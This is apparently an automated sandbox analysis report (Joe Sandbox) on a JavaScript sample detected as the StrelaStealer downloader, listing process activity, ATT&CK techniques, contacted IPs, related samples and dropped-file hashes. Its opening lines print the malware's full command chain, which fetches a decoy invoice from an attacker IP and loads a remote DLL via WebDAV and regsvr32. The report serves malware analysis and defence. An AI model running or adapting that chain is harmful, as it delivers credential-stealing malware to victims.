Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
219751261441155514.js	10%	Virustotal		Browse
219751261441155514.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/X	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/sace	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/P	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.43	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/X	net.exe, 00000007.00000003.2123169264.0000022D7334C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2130321635.0000022D7334C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3353953304.00000161C640F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2123994749.00000161C6210000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/sace	net.exe, 00000007.00000002.2129247373.0000022D73318000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/P	net.exe, 00000007.00000003.2123169264.0000022D7334C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2130321635.0000022D7334C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2123169264.0000022D73342000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2123169264.0000022D7334C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2130321635.0000022D7336F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2129247373.0000022D73318000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2119815357.0000022D7336D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2130321635.0000022D7334C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2130321635.0000022D73342000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588547
Start date and time:	2025-01-11 02:15:50 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	219751261441155514.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.233.129.217, 52.6.155.20, 3.219.243.226, 52.22.41.97, 172.64.41.3, 162.159.61.3, 2.23.242.162, 217.20.57.43, 23.209.209.135, 2.16.168.107, 2.16.168.105, 13.107.246.45, 52.149.20.212, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:16:44	API Interceptor	26x Sleep call for process: powershell.exe modified
20:16:49	API Interceptor	1x Sleep call for process: net.exe modified
20:16:49	API Interceptor	2x Sleep call for process: svchost.exe modified
20:17:01	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	193581927228935729.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1327128311804210730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.26
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.35
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.36
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	795324045931728678.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2314572873239327086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3048426634198639173.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	193581927228935729.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307035321188531
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDug9:gJjJGtpTq2yv1AuNZRY3diu8iBVqFb
MD5:	A817BC32444A4020BF39750C2F313A1A
SHA1:	8719B6F4B63BEFC5B821001067C52C2F7EA4A814
SHA-256:	D963F9F9D462CF9B941F92B2F163E2735DFADD00A27ADE57B0BFCA78092E5E4D
SHA-512:	B84729DA0379B55EB9F5CD17E533013EC27ABEF95B50682C26DD463C7F0D9711C8052A465A7FC6AF68A1C560EF623B6FB21254965C72A4A7C8049250F5EF0353
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x788c1c13, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585649326904262
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:xaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	2591B5BBA7732ED8E6078A59531FF464
SHA1:	153EF14321BCC95788129BDF6DEDBA7204CEC696
SHA-256:	01E4174459ACAA2018187F2DD8F325D699A405CB28D6D38CFEE7377895C9CF0C
SHA-512:	44E33052C6D1A095A5CA01B88CFBAC9EBD7C993413893ED2B43EEF477894D9C51C0A0AACE2D6D51846E4F30B0098FC4BBFAA00AB663575B8B7DC720CB24714F4
Malicious:	false
Preview:	x...... ...............X\...;...{......................0.z..........{..1....}].h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{....................................}.1....}Q....................U1....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08089605226569715
Encrypted:	false
SSDEEP:	3:Wm/8YejLQvekGuAJkhvekl1TXkr6llrekGltll/SPj:hUzjGtrxlFkOJe3l
MD5:	99B9097ACF68058DE354246ACBD0DB5A
SHA1:	0034B1DAB486F276F4BC8D267E52F4CD72E54BC3
SHA-256:	A843680A90AB8F89E4F31D0C3577BFA1CBAF6BDF70854DBFC5D26ADF54339D3F
SHA-512:	8794F338D5ADBCF2246845DC821F197924FCDCD129C93EED552CE0150F5E21609A1E500F3DE316A9C3E60589C46D1023AC160B59896ED28951720BC8C014A83C
Malicious:	false
Preview:	.W.......................................;...{..1....}.......{...............{.......{...XL......{.....................U1....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1995621671795025
Encrypted:	false
SSDEEP:	6:iO4qVgklvIq2P92nKuAl9OmbnIFUtSqVgk02ZmwsqVgk0KkwO92nKuAl9OmbjLJ:7ngklAv4HAahFUtZgkL/LgkB5LHAaSJ
MD5:	2D771BB4FCD73B67C12235C8530B3625
SHA1:	FCC2F79342DE3F899E19443C316898D9199431CC
SHA-256:	D8C464293EFBF1EA3B33C2C8C3ABCB9866371EF72FB5F5C8272961FA4941EFF5
SHA-512:	24D6CCA18725EF84EC7A4327BE394C30B466CC12864323AF5E632F7B53EAF39AECC8863200264011F00328EA84D9FAC34A7C9CA03552F95DE29BDA9544B49A5F
Malicious:	false
Preview:	2025/01/10-20:16:48.924 1960 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:16:48.928 1960 Recovering log #3.2025/01/10-20:16:48.928 1960 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1995621671795025
Encrypted:	false
SSDEEP:	6:iO4qVgklvIq2P92nKuAl9OmbnIFUtSqVgk02ZmwsqVgk0KkwO92nKuAl9OmbjLJ:7ngklAv4HAahFUtZgkL/LgkB5LHAaSJ
MD5:	2D771BB4FCD73B67C12235C8530B3625
SHA1:	FCC2F79342DE3F899E19443C316898D9199431CC
SHA-256:	D8C464293EFBF1EA3B33C2C8C3ABCB9866371EF72FB5F5C8272961FA4941EFF5
SHA-512:	24D6CCA18725EF84EC7A4327BE394C30B466CC12864323AF5E632F7B53EAF39AECC8863200264011F00328EA84D9FAC34A7C9CA03552F95DE29BDA9544B49A5F
Malicious:	false
Preview:	2025/01/10-20:16:48.924 1960 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:16:48.928 1960 Recovering log #3.2025/01/10-20:16:48.928 1960 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.106329566636524
Encrypted:	false
SSDEEP:	6:iO4qVg/pL+q2P92nKuAl9Ombzo2jMGIFUtSqVgNKWZmwsqVgbLVkwO92nKuAl9OU:7ngBL+v4HAa8uFUtZgYW/LgbLV5LHAaU
MD5:	69EB5098AC1A4F74434828EABF528771
SHA1:	A295E97336C216EEAD2A9D9DC0A2AD1CE74DE8F3
SHA-256:	F1FC43340232BE2D35ABE42736F92C7B6831B2C4E95FFF0825A91D488D9EDDEA
SHA-512:	06FD7E373951E62E0309D02DF31BBD6E4733D63073CCC0320977CFF9B878C624FF8FF3D123B4FD58CA0FB63B366FC41A39B568503AA6C1F5E95D52EDEA248815
Malicious:	false
Preview:	2025/01/10-20:16:49.004 ecc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:16:49.006 ecc Recovering log #3.2025/01/10-20:16:49.006 ecc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.106329566636524
Encrypted:	false
SSDEEP:	6:iO4qVg/pL+q2P92nKuAl9Ombzo2jMGIFUtSqVgNKWZmwsqVgbLVkwO92nKuAl9OU:7ngBL+v4HAa8uFUtZgYW/LgbLV5LHAaU
MD5:	69EB5098AC1A4F74434828EABF528771
SHA1:	A295E97336C216EEAD2A9D9DC0A2AD1CE74DE8F3
SHA-256:	F1FC43340232BE2D35ABE42736F92C7B6831B2C4E95FFF0825A91D488D9EDDEA
SHA-512:	06FD7E373951E62E0309D02DF31BBD6E4733D63073CCC0320977CFF9B878C624FF8FF3D123B4FD58CA0FB63B366FC41A39B568503AA6C1F5E95D52EDEA248815
Malicious:	false
Preview:	2025/01/10-20:16:49.004 ecc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:16:49.006 ecc Recovering log #3.2025/01/10-20:16:49.006 ecc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\797feb75-7121-465b-9417-eaa0fb0556e5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.046133783430737
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqE4sBdOg2HIcaq3QYiubxnP7E4T3OF+:Y2sRdsldMHj3QYhbxP7nbI+
MD5:	1DF53739B945B908B5FE8974A180FE83
SHA1:	B233A2566E2661AE864EABB29731DDAE906F85D7
SHA-256:	6DFAC5605F6364EF1B2924A3F4A47D799BD5DA589E51DD387E320844008613E6
SHA-512:	67BDB8F89714ED6460095CE60F7B3770E79D931DAC1C2FE8D43EB43CA4930E1D28905793CD4DA68DFACF6750457622A95CEFF0BAF95B572EF60A879FBC0AE07F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118220870882","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":119984},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.046133783430737
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqE4sBdOg2HIcaq3QYiubxnP7E4T3OF+:Y2sRdsldMHj3QYhbxP7nbI+
MD5:	1DF53739B945B908B5FE8974A180FE83
SHA1:	B233A2566E2661AE864EABB29731DDAE906F85D7
SHA-256:	6DFAC5605F6364EF1B2924A3F4A47D799BD5DA589E51DD387E320844008613E6
SHA-512:	67BDB8F89714ED6460095CE60F7B3770E79D931DAC1C2FE8D43EB43CA4930E1D28905793CD4DA68DFACF6750457622A95CEFF0BAF95B572EF60A879FBC0AE07F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118220870882","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":119984},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.2404150656144965
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUUjJTt:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLd
MD5:	ECAEE017DAEC27FFB325F7232C031949
SHA1:	7A28A73352DCD1223E54635C05925C3E1F39D880
SHA-256:	436A6004147B12F98628028F72DB608F2D54F95CEC6C30AE0903D119D707BDB3
SHA-512:	4D57A6EBBC822C0FA6735FFA1E9DE5164FF9FF97EAAD884BEA33512AD2F39E591420DCB17266E7F3913ECECD666CE288C73B7BC0D7B6CC148F7E25E016E0031A
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.170661022945385
Encrypted:	false
SSDEEP:	6:iO4qVg7S2ulL+q2P92nKuAl9OmbzNMxIFUtSqVg7c9G1KWZmwsqVg76L1LVkwO9S:7ngvulL+v4HAa8jFUtZgY9GAW/Lg2pLT
MD5:	D8E8F31CCE8E9537D80FB29B1F1C3E69
SHA1:	854AD88801E0245DEDF90A67B926E22B3879B1FD
SHA-256:	024097FD80AD240360CD7A4C76405FCCA67BA22CE9A8E6A799126E74728379D6
SHA-512:	DFBFE1E3513E89E89ECE6CDD2F764CEB64E2B3494539DECAC08C05B67AB19914FBFA26B71C5A0AD93AC6B8D6952DF9044F5A0293EEC1E9FED88FE402E9E3C7C9
Malicious:	false
Preview:	2025/01/10-20:16:49.577 ecc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:16:49.592 ecc Recovering log #3.2025/01/10-20:16:49.603 ecc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.170661022945385
Encrypted:	false
SSDEEP:	6:iO4qVg7S2ulL+q2P92nKuAl9OmbzNMxIFUtSqVg7c9G1KWZmwsqVg76L1LVkwO9S:7ngvulL+v4HAa8jFUtZgY9GAW/Lg2pLT
MD5:	D8E8F31CCE8E9537D80FB29B1F1C3E69
SHA1:	854AD88801E0245DEDF90A67B926E22B3879B1FD
SHA-256:	024097FD80AD240360CD7A4C76405FCCA67BA22CE9A8E6A799126E74728379D6
SHA-512:	DFBFE1E3513E89E89ECE6CDD2F764CEB64E2B3494539DECAC08C05B67AB19914FBFA26B71C5A0AD93AC6B8D6952DF9044F5A0293EEC1E9FED88FE402E9E3C7C9
Malicious:	false
Preview:	2025/01/10-20:16:49.577 ecc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:16:49.592 ecc Recovering log #3.2025/01/10-20:16:49.603 ecc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
